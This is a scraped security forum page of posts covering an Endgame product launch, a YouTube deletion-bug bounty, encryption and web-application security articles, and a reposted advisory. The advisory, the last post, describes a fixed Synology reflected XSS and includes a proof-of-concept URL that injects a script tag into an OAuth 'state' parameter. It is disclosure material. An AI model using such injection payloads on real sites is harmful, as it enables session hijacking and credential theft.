  19. Security intelligence and analytics solutions provider Endgame, Inc. on Tuesday announced the launch of its enterprise endpoint detection and response platform, Endgame Enterprise. Endgame, which historically has focused on providing solutions to the U.S. government, including tools and zero-day exploits used for offensive purposes, said in 2014 that it would shift its focus to sell its platform to enterprise customers. According to the Arlington, Virginia-based company, its enterprise solution, which focuses on protecting critical infrastructure, “thinks like the adversary” and helps customers to detect and respond to unknown cyber threats. Endgame LogoUsing threat detection algorithms and attack-chain analysis designed to discover zero-day and advanced threats without the use of signatures, the company says that its new host-based software solution is able to detect suspicious behavior and help enterprise security teams accelerate investigation, containment and remediation. “Endgame Enterprise captures and analyzes the details of an attack, giving incident responders rich attack-path intelligence and insight into the consequences of cyber threats,” the company explained. “Our research on advanced threats, vulnerabilities and attack patterns, and our history protecting some of the nation’s most sensitive national security assets, allows us to understand defenses from the adversary’s perspective,” said Endgame CEO Nate Fick. “Endgame Enterprise empowers existing security teams to accelerate the investigation and remediation of threats that would otherwise go undetected.” Founded in 2008, Endgame currently has over 100 employees and has offices in Washington, DC, San Francisco, CA, San Antonio, TX and Melbourne, FL. In Nov. 2014, the company announced that it had raised $30 million in a Series C equity funding round, bringing the total amount raised by the firm to $90 million. Sursa: securityweek.com
  20. Today's tale of apocalyptic internet near-misses comes from software developer Kamil Hismatullin, who discovered a security flaw in YouTube that allowed him to delete any video he wanted—or all of them, if he so desired. Fortunately, he did not so desire (although he apparently had some thoughts about doing a number on Justin Bieber's channel), and instead he reported the bug to Google and collected a $5000 reward. The discovery stemmed from Google's launch of Vulnerability Research Grants in January, through which it offers monetary grants to "top performing, frequent vulnerability researchers" in exchange for research into potential weaknesses of specific applications. The idea is to provide an incentive to researchers to find and report bugs and security flaws, so Google can fix them as quickly as possible. In February, Hismatullin was selected for a $1337 grant, and opted to dig into YouTube Creator Studio. After six or seven hours of research, he "unexpectedly discovered a logical bug that let me delete any video on YouTube with just one following request." His explanation of the flaw goes over my head, but it seems like it was fairly simple to perform. He also posted a video (on YouTube, amusingly) showing the exploit in action. "Although it was an early Saturday's morning in SF when I reported issue, Google sec team replied very fast, since this vuln could create utter havoc in a matter of minutes in the bad hands who can used this vulnerability to extort people or simply disrupt YouTube by deleting massive amounts of videos in a very short period of time," he wrote. "It was fixed in several hours, Google rewarded me $5k and luckily no Bieber videos were harmed :D" A YouTube representative has confirmed that Hismatullin's report is legitimate. And that, folks, is what we call a close one. Imagine if the world had lost such treasures as ? source PS: ce ziceti? se merita 5K pentru un bug care putea sa ii bage "teoretic" in faliment?(Putin probabil zic eu, si-ar fi dat seama repede)
  21. CarryOn

    Salut

    Salut, Am 18 ani, student si ma ocup cu security researching. That's all.
  22. Keeping personal information secure and protected remains a top priority for computer users who now rely heavily on information systems to manage a large part of their personal and business lives. One of the ways to make sure only authorized users have access to information is the use of encryption, a process that transforms data from “cleartext to ciphertext” and back as a means to keep it secret from others. This is done through a combination of hardware- and software-based encryption. The scope is always the prevention of unintended data leakage. The wide variety of types of encryption available (e.g., symmetric- and asymmetric encryption, hardware-based or software-based) can make a person uncertain on which one is best to suit their needs. Each of the cryptographic systems addresses specific aspects of keeping systems secure, so it is important to identify which one is the most appropriate for the situation. This article surveys how to gain cryptographic data protection with a variety of methods and mechanisms for the sake of digital privacy as well as solutions for data-at rest and data-in-motion. It also discusses new encryption techniques. The Need of Encryption for Data Protection Encryption is a necessity for organizations and users that handle sensitive data. Data ought to be secured for the entire duration of their lifecycle (at-rest, in-transit and in-use). Whether they are at rest in storage and databases on site or backed up in a cloud, whether they are sent to end users within organizations or remotely accessed through mobile devices, all data need proper protection and ad-hoc solutions. The growing use of mobile devices to access sensitive data and corporate applications along with the use of cloud solutions for software, storage, hardware and services has opened a new world of security problems. Data loss prevention, security practices and strategies employed (firewalls, IDS, coupled with authentication and access controls) in addition to encryption tools are more important than ever as information are no longer being stored and processed in the safety of companies’ on-site servers and behind firewalls, but are actually being manipulated and transferred through a variety of communication channels. Data protection is nothing new, but it remains a significant challenge for organizations and businesses needing to find better ways to protect user data from unauthorized use. Be it corporate-, personal-, customer- or transaction-data, the risk of theft or loss throughout the lifecycle is massive. With data theft caused by employees and external parties on the rise, businesses risk their reputation, lack of regulatory compliance, and, ultimately, loss of clients. Lack of Encryption Why encrypting? Since a complex password by itself is no longer good enough as a means to protect corporate or personal data, by encrypting the data exchanged between the client and server, any sensitive information can be sent over a network, such as the Internet, with less risk of being intercepted during transit. Plaintext can be easily intercepted by prying eyes and eavesdroppers when transiting in data streams; information can be stolen or altered. Encryption is an effective way of making sure data remain secure. Data, however, is not just vulnerable when in transit. Some of the worst data security breaches noted in the 21st century and pertaining to lack of encryption go far back as 2005 when CardSystems Solutions’ system was hacked and was victim of an SQL Trojan attack; hackers gained access to names and accounts numbers of more than 40 million card holders. Security reports noted that the company never encrypted the data, thus exposing personal info on all its clients. Another noteworthy incident occurred in 2006 with a group of hackers taking advantage of a weak data encryption system at TJX Companies Inc. Poor security on the company’s wireless networks had resulted in massive data theft, and 94 million credit cards were exposed. Another instance that shows the human element being the weakest link in the security chain is the case of the U.S. Department of Veterans Affairs’ unencrypted national database theft. Names, social security numbers and other sensible information were found on a laptop and external hard drive that were both stolen. This episode, also in 2006, affected some 26.5 million veterans, whose personal data was taken in a burglary from a VA analyst’s Maryland home. A more recent event involved Sony’s PlayStation Network that had 12 million unencrypted credit card numbers hacked. In 2012, a NASA laptop was stolen; it contained records of sensitive personal identifiable information of employees and contractors. Lately, news has reported of an unencrypted, password-protected laptop that was stolen at the Community Technology Alliance containing social security numbers and names of 1,177 people. Another device containing data for 2,800 patients was stolen from Northwestern Memorial Health Care. Encryption Solutions As the need for encryption is clear to attempt ensuring the integrity and confidentiality of data, the first decision security professionals need to make is between software-based or hardware-based encryption. Both have pros and cons to be considered and can definitely be applied in a combination of ways to ensure maximum protection according to the users’ needs. Software-based encryption can be extended to all data, devices, and users in an organization. It works well to secure e-mails, instant messaging, data in transit and web sites. These solutions are normally cheaper and easy to customize and update. Common drawbacks are performance degradation and vulnerabilities linked to those of the operating systems in which they operate. Risks are linked also to the ease of being turned off by users. Hardware-based solutions are specific to the device they protect. Full drive encryption (FDE) or solutions like self-encrypted drives (SEDs) are an effective approach that simplifies the deployment of security for data at rest and makes it easier for organizations to manage security of data when stored. The advantage of hardware-based solutions is that they bypass many of the typical drawbacks of software-based solutions like performance degradation or vulnerability to attacks aimed at the encryption key stored in memory. Being encryption available at drive-level, this hardware solution also is perfectly independent by any software or operating system used, and usually cannot be turned off by users. Drawbacks are obvious. Hardware solutions are specific to the devices they protect, and updates can normally be performed only by substituting the device. The Encryption Process & Protecting Data Today One of the basic concepts of encryption is the need for keys to encrypt and decrypt the message. The process of encryption is done with two individual keys – a private key and a public key; this is referred to as asymmetric encryption, while symmetric encryption requires using one key for both steps. Encryption simply acts as a form of digital lock that prevents unauthorized users from accessing data. In addition, by adding a signature with a private key, a person can prove his or her own identity and make tampering with the message more difficult. Just like sensitive messages, the key must also be adequately protected, secured and kept hidden from unauthorized users. A number of encryption methods can be employed to secure data especially when in transit, since that is when they are more vulnerable. The content can be intercepted through some effort of wiretapping or eavesdropping by an intruder. In link-to-link encryption, for example, the message is decrypted at each host as it travels so it is vulnerable if any of the hosts is not secure. This method works well within an organization, for internal use, where all communication nodes security is well known, but might not be the safest method when the message is out in the open. Lately, much attention has been given to end-to-end encryption. This system allows safety of data by ensuring that only the people that are communicating are able to read the message. No one except the sender and the receiver is able to decrypt the message (not even the Internet provider) which is passed from host to host still encrypted. A renowned German e-mail provider, for example, has implemented the use of this methodology for all its users in an attempt to secure their communication from eavesdropping and intrusion. As securing information in a datacenter that requires protection for a multi-vendor infrastructure or the cloud is becoming a widespread need, new solutions and techniques had to be developed to render the transmission of data more secure. In most cases, solutions are needed to be deployed simultaneously on network shares, file services, application and web servers as well as database servers. Techniques like tokenization have been deployed to make sure that data exchanged from different servers and sent to onsite, cloud and mobile end users are still safely handled. In the case of tokenization, for example, data are safely stored and replaced by tokens that are used within an organization to process the information, trigger action and perform tasks. The data never leave their safe storage place and cannot be compromised even if the token is intercepted. This method is extremely helpful when dealing with credit card numbers and financial info in general. Honey encryption, instead, is a technique that can provide additional security when passwords are used as keys. This is particularly effective against conventional brute-force attacks. The concept is simple; in normal circumstances, when intruders intercept a message and attempt to guess the key that encrypts it, all they can get is a manifestly non-usable response. The result is that the malicious hacker continues to attempt until successful. Honey encryption, devised by Juels and Ristenpart, produces a ciphertext that when decrypted with a number of wrong keys gives a “honey message”, a fake plaintext that satisfies the attacker but does not relinquish any real data. Although effective, honey encryption, obviously, is not helpful when the attacker already has a few of the puzzle pieces (for example the public key associated with the private key) and therefore is useless in the protection of HTTPS certificate keys. The method is, however, effective when protecting, for example, password vaults, collections of passwords protected by one master key. An interesting technique for the handling of sensitive data in a cloud environment has been designed by Craig Gentry, a researcher from IBM: Homomorphic encryption. This form of encryption allows users to store data in a cloud encrypted while still being able to analyze and mine data. In fact, computations can be performed on the encrypted data in the cloud server, and only the results are decrypted by the end user. This can be used for any data, including, for example, entire collections of e-mails and messages that could be securely worked on without exposing the messages contained within. Although homomorphic encryption has been explored for 30 years, it is thanks to the work of Gentry (since 2008) that finally the system is being perfected and getting close to having practical applications. Although still too slow and requiring a larger-than-practical number of computations, this type of encryption could soon be applied. DNA Cryptography is another method being explored; it can be defined as hiding data as a DNA Sequence. This technique is based on DNA computing designed by the work of Leonard Max Adleman (the A in RSA) beginning in the year 1994. This modus operandi is still in the initial phases of development, but results are promising. One more is for Quantum Cryptographic tasks and, in particular, QKD (Quantum Key Distribution). Secure communication is ensured by a random key shared by sender and receiver. The advantage of this method is that, as for all quantum systems, a third party that enters it creates a disturbance that can be noted by the sender and receiver. An eavesdropper would cause the communication to be aborted, as the key would not be shared. Conclusion According to data collected by BreachLevelIndex, more than 2 million records per day were breached in the year 2014. It is clear that more and more attention needs to be given to the security of data both at rest and in transit. Coupled with users’ access control, encryption is an effective means of securing sensitive information. Multiple techniques of cryptography are important to ensure data integrity in the three components of the CIA (Confidentiality, Integrity, Availability). Encryption is not just for companies and organizations. Individual users also should consider protecting their own data. With mobile devices now allowing users’ access to all their sensitive information (personal, financial, even medical) and with the growing use of cloud solutions, it is paramount that encryption is adopted and new techniques developed. Currently, many encryption products are available on the market, some are free, and can suit everyone’s needs. With today’s encryption technologies constantly being developed to deliver enhanced security across a range of channels for private communication and storage, there is no reason why this protective measure should not be applied to safeguard data from hackers who continue to develop sophisticated techniques in the attempt to steal information. Whatever the data are and wherever they reside, they ought to be safeguarded: password protected and encrypted. Business data needs to be safe and placed in a secure environment. Failure to apply authentication and end-to-end encryption for limited access to data could lead to possible exposure by intruders. Whatever protection may be necessary depends on the assets that are being protected. Often, businesses requirements and regulatory considerations will dictate what approach is best. Users need to analyze their needs and apply the right products to prevent unauthorized access to information and opt to utilize software and hardware technologies to facilitate the encryption of computer, mobile devices and media. References Allen, L. (2012, August 3). Securing Data on a Moving Target: Self-Encrypting Drives Deliver Top Security, Performance and Manageability. Retrieved from Securing Data on a Moving Target: Self-Encrypting Drives Deliver Top Security, Performance and Manageability | StorageReview.com - Storage Reviews Juels, A. (2014, January 29). Honey Encryption: Security Beyond the Brute-force Bound. Retrieved from http://pages.cs.wisc.edu/~rist/papers/HoneyEncryptionpre.pdf Naone, E. (2011, May/June). Homomorphic Encryption – Making cloud computing more secure. Retrieved from Homomorphic Encryption - MIT Technology Review Olzak, T. (2010, May 7). Choose Encryption Wisely. Retrieved from What is Encryption and When Should You Use it to Protect Data and Computers Paganini, P. (2015, February 20). The Future of Data Security: DNA Cryptography and Cryptosystems. Retrieved from The Future of Data Security: DNA CryptographySecurity Affairs Schneier, B. (2010, June 30). Data at Rest vs. Data in Motion. Retrieved from https://www.schneier.com/blog/archives/2010/06/data_at_rest_vs.html Simonite, T. (2014, January 29). “Honey Encryption” Will Bamboozle Attackers with Fake Secrets. Retrieved from http://www.technologyreview.com/news/523746/honey-encryption-will-bamboozle-attackers-with-fake-secrets/ Source
  23. Web applications are critical to the enterprise infrastructure. Companies rely on them to communicate with partners, clients, shareholders and others, as well as store corporate information, share files, and conduct a host of other operations. These applications are convenient, as their functionality is dependent upon online browsers. However, web applications may have security weaknesses that can expose a single user or the entire organization to multiple threats. Cyber criminals have been focusing on the web in recent years and the trend continues to grow. Cyber attacks are becoming high-profile, getting more sophisticated, and increasing in frequency. According to the Gartner Group, 75 percent of cyber attacks and web security violations occur through Internet applications. Regardless of the development of the application being outsourced or in-house, adversaries examine the infrastructure of an application and its design to identify potential vulnerabilities that can be exploited. High-risk threats to web applications In particular, enterprises need to be aware of the following threats to web applications. The focus is on the wide repertoire of techniques adversaries use to compromise web applications and sites: DoS (Denial of Service): DoS attacks involve hackers overwhelming a web application with multiple requests for information, slowing down the operation of a website or entirely taking it down. A multi-source attack is considered a distributed DoS or DDoS, which routes the malicious traffic through a bigger number of servers. Attackers may also upload dangerous files, which may be downloaded by employees or processed in a corporate environment. Cross-site scripting (XSS): This is a common vulnerability that exploits web application weaknesses to attack users. The attack involves hackers passing data that’s crafted to masquerade legitimate functionality; without proper validation of data, malicious code is transferred to the web browser. In many cases, cyber criminals craft attacks via JavaScript, but attacks may also include Flash, HTML, or another code executed by web browsers. Cross-site scripting enable hackers to steal credentials, hijack sessions, or redirect users to malicious sites. SQL injection: These are random attacks that target applications with weak security to inject malware to extract data or aid virus distribution. These two scenarios are often a result of poor programming. Successful attacks involve hackers modifying the logic of SQL statements against databases. The application, in most cases, builds dynamic query statements, enabling malicious users to work with the data. Consequences can include data corruption, account compromise, or even a complete host takeover. Parameter & buffer manipulation: Websites often use URL parameters to pass information between web pages. Hackers can take advantage of this process and rewrite parameters in malicious ways. They may also manipulate buffers (a small storage allocated for data), andoverload them so that additional data overwrites data in other areas. Hackers may also override data with their own malicious code. Security policy template Security policies are, in effect, a strategy to protect web applications and ensure availability at all times. These generally include steps to identify responsibilities, predict threat vectors, and determine prevention & mitigation methodologies. It is essential to define rules for ensuring high availability of applications and minimizing weaknesses. Access and control mechanisms It is common for web applications to lack sufficient authorization checks for people attempting to access their resources. In a secure environment, there should be both role based and user access controls. Organizations should ensure that users can’t bypass ACLs by navigating directly to a file or page. This can be done by setting ACLs to default grant or deny access to authorized users and roles. The IT team can also utilize vetted frameworks and libraries. Access and control should be kept separate, and custom authorization routines should be avoided, as they make the authentication of all necessary channels more challenging. Delineation of responsibilities Never assume there are predefined responsibilities to access files and data stored by web applications. A lot of testing and experience goes into vetted frameworks, encryption algorithms and libraries, so make sure there is a clear description of responsibilities for every user at every possible step. The more default the set of responsibilities, the more difficult it will become to securing the application. Roles and access control are not just for developers, but for all people involved in using web applications. You need to have some delineation of roles with different levels of access for each user. While every organization’s application development program will be different, responsibilities can be handled in different ways or added in different places, and still be effective. Security resources and tools A well-defined policy template includes the use of encryption algorithm for web applications. Users have to determine the data that is valuable enough for encryption, and identify vulnerabilities through threat modeling. Some resources may have to be sacrificed to secure highly sensitive data. Implementations like a web application firewall will safeguard enterprise applications and websites from any cyber threat, so you can avoid costly downtime and data breach attacks. Enterprises are recommended to look for PCI-certified WAF as it protects against Cross-site scripting, SQL injections, and other threats. Some offerings include custom security rules that let you enforce security policies efficiently while eliminating false positives. New solutions are also using crowdsourcing techniques to protect applications with collective knowledge about the modern threat landscape. Threat information is aggregated using big data analytics. Disaster recovery and emergency mechanisms Disaster recovery solutions are required for immediate response to high-risk situations and mitigation strategies must be deployed to limit exposure from an attack. Disaster recovery should be allowed to bypass security assessments and address the risk before a proper assessment can be carried out. Patch releases, on the other hand, are subjected to appropriate level assessment based on the threats to the application architecture and/or functionality. CIOs are the personnel in charge of disaster recovery initiatives. Emergency mechanisms may include steps to take the application off-the-web or stop functionality release into the live environment if multiple threats increase the risk to unacceptable levels. Emergencies should be addressed in a point/patch release unless other mitigation strategies limit exposure. Credentials after patching may be temporarily stored outside of the webroot until the application infrastructure is tested in updated areas of the application environment. Other measures When web applications feature hard-coded credentials, the user can store credentials in the form of hashes to improve security in case the database or the configuration files get breached. Strict ACLs can also be deployed to protect credentials. Enterprises should also use a whitelist of acceptable input commands. If applications are configured to construct SQL queries, but include vulnerabilities that enable hackers to modify these queries, then it is beneficial to avoid dynamic queries, quote arguments, and special characters. The database inputs should be sanitized in general, and there should be strict rules for input validation. Compliance measures and business benefits When it comes to compliance, users who violate this policy should be subjected to a hearing, which may be concluded with a disciplinary action such as termination of employment, depending on the nature of violation. Everyone accessing web applications should undergo assessment as a requirement of a security policy and adhere to the policy unless exempted in certain circumstances. The infrastructure of all applications should be updated to include the security control process. Any web applications that lack appropriate security controls should be taken down for formal assessment, and should not make their way online until the CIO clears them for security integration. All these measures will result in business benefits, such as no loss of productivity during downtimes, and ensure SLAs are met. An enterprise with highly secured web applications will also attract more clients, as they would be better able to protect sensitive customer information. Organizations following the security policy template would also enjoy technical benefits such as high availability and security of data. Both these factors are likely to improve client-wide and industry wide reputation. Lastly, the policy will bridge the gap between good IT practices and enterprise security compliance. Source
  24. When mega-retailer Target was the victim of a data breach during the 2013 holiday season, more than 70 million customers earned that their personal information, including email addresses and credit card numbers, had possibly been compromised. However, there was one small bright spot in the torrent of bad news: Target reported that the PIN numbers for compromised debit cards were encrypted, and therefore useless to the criminals who now had access to them. While that might have been little consolation to those customers who had to spend time locking down their accounts, to Target, it was a major victory in an otherwise bleak situation. Because the retailer did employ encryption to protect certain vital data, they were granted “Safe Harbor” from certain reporting requirements and more importantly, major fines, as a result of the breach. The Target data beach, and the others that have occurred since at retailers like Nordstrom and Home Depot, only serve to underscore the importance of encryption as part of a data protection strategy. While prior to these breaches, businesses that collect customer payment information, including credit and debit card numbers, were required by the Payment Card Industry Data Security Standards (PCI DSS) to encrypt data, many other businesses that store and transmit data via networks had less defined rules regarding encryption. However, that’s all changing. Encryption, once viewed as “extra” protection by many, has become a priority in the ongoing quest to secure data. 3 Top Trends in Data Encryption The fact that encryption has become a bigger priority in the last year is not the only change in the data security universe. In fact, the new emphasis on encryption itself has led to some significant trends. Among them: 1. Key Management Has Become More Complex One of the leading causes of data breaches is the inappropriate management of credentials, and encryption key management falls squarely under the umbrella of credential management. As more enterprises adopt encryption as part of their security protocol, the number of keys that need to be managed has also increased. Vendors that offer encryption as a service are growing more reluctant to be responsible for customer keys, while businesses employing encryption are also finding challenges in maintaining separation between the keys and the encrypted data. 2. Compliance Standards Are Changing While certain regulations, including the PCI DSS and HIPPA already required encryption as a minimum security standard, those regulations are expanding and becoming more stringent. The definition of “sensitive data” is expanding all the time, and organizations that fail to comply with the regulatory standards of their industry could face serious consequences. Many are choosing to err on the side of caution, and employing advanced encryption ahead of regulatory changes. 3. Expectations for Encryption Are Evolving One of the primary reasons that many businesses have resisted encryption — especially small businesses — is that encryption has often been viewed as complex and cumbersome function. Some older (read: a decade or more) encryption solutions did present some hurdles to users, but today’s virtualization security solutions present a seamless alternative. In short, modern encryption technology protects data without any effect on application functionality. Developers are also working toward homomorphic encryption to make the analysis of Big Data more thorough. Currently, most cloud based data analysis tools are not able to work with encrypted data. Businesses must either take the risk of working with unencrypted data in the cloud, or develop their own analytical applications, which increases expense. Homomorphic encryption, however, allows encrypted data to be analyzed just as it would if it were unencrypted. This allows businesses to not only tap into the power of Big Data more securely, it also presents opportunities to analyze data from multiple sources at once, without exposing potentially sensitive information. Even just a few short years ago, encryption was often viewed as a “bonus” security measure, something that enterprises could choose to employ. Believed to be the realm of government agencies and hackers, it was often reserved for the most sensitive data only, and considered unnecessary for the average user. With so much data being shared online, and with the explosive growth of cloud computing, though, encryption has become as commonplace as antivirus protection and firewalls. As adoption grows, expect to see more changes in encryption standards and security management going forward. Source
  25. ###################################################################### # Exploit Title: Synology.com sub-domain OAuth exchange Reflected XSS (RXSS) # Date: 03/04/2014 # Author: Yann CAM @ Synetis - ASafety # Vendor or Software Link: Synology - Network Attached Storage (NAS) # Version: / # Category: Reflected Cross Site Scripting # Google dork: # Tested on: Synology.com update sub-domain ###################################################################### Synology description : ====================================================================== Synology Inc., is a Taiwanese corporation that specializes in network attached storage (NAS) appliances. Synologyâs line of NAS are known as the DiskStation for desktop models, and RackStation for rack-mount models. Synology's products are distributed worldwide and localized in several languages. Synology's headquarters are located in Taipei, Taiwan with subsidiaries located around the world. Vulnerability description : ====================================================================== A reflected XSS is available in the update.synology.com sub-domain. Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Synology portals, or capture Synology's users credentials such cookies. It's also possible to interact with the OAuth authentication protocol scenario where the vulnerability is located. This reflected XSS is on GET "state" variable and is not properly sanitized before being used to his page. Proof of Concept : ====================================================================== A non-persistent XSS (RXSS) in "state" GET param is available in the update.synology.com sub-domain during OAuth CloudSync process. Tested on Firefox 33.1.1. If the CloudSync package is deployed in the DSM, it's possible to attach some public clouds to synchronized them with the NAS. During the process to attach the public cloud (like DropBox, GoogleDrive, etc.), there is multiple request through the OAuth protocol. Synology's OAuth page is opened to check the perms of the public cloud. It's possible to inject JavaScript into this context. With the control of this context, an attacker can catch and control the OAuth exchanges and validation. PoC: https://update.synology.com/CloudSync/db.php?state=https%3A%2F%2Fwww.asafety.fr<script>alert('Reflected XSS - Yann CAM @asafety');</script>&code=pIBf5bHN8zMAAAAAAAABRU0-iCumtCrexU63hCMeguX Screenshots : ====================================================================== - http://www.asafety.fr/data/20141123-RXSS_synology_synetis_001.png - http://www.asafety.fr/data/20141123-RXSS_synology_asafety_002.png Solution: ====================================================================== Fixed by Synology security team. Additional resources / article and screenshots : ====================================================================== - https://www.synology.com/ - ASafety » Page non trouvée - http://www.synetis.com Report timeline : ====================================================================== 2014-11-23 : Synology security team alerted with details and PoC. 2014-11-25 : Synology response and ack. 2014-11-26 : Vulnerability confirmed and fixed by Synology security team. 2014-11-26 : ASafety confirms the fix. 2014-11-27 : Synology thanks the confirmation. 2015-04-03 : ASafety public article 2015-04-03 : Public advisory Credits : ====================================================================== 88888888 88 888 88 88 888 88 88 788 Z88 88 88.888888 8888888 888888 88 8888888. 888888. 88 88 888 Z88 88 88 88 88 88 88 8888888 88 88 88 88 88 88 88 88 888 888 88 88 88 88 88888888888 88 88 888888 88 88 88 8. 88 88 88 88 88 888 888 ,88 8I88 88 88 88 88 88 88 .88 .88 ?8888888888. 888 88 88 88888888 8888 88 =88888888 888. 88 88 www.synetis.com 8888 Consulting firm in management and information security Yann CAM - Security Consultant @ Synetis | ASafety -- SYNETIS | ASafety CONTACT: www.synetis.com | www.asafety.fr Source: http://packetstorm.wowhacker.com/1504-exploits/synology-xss.txt
×
×
  • Create New...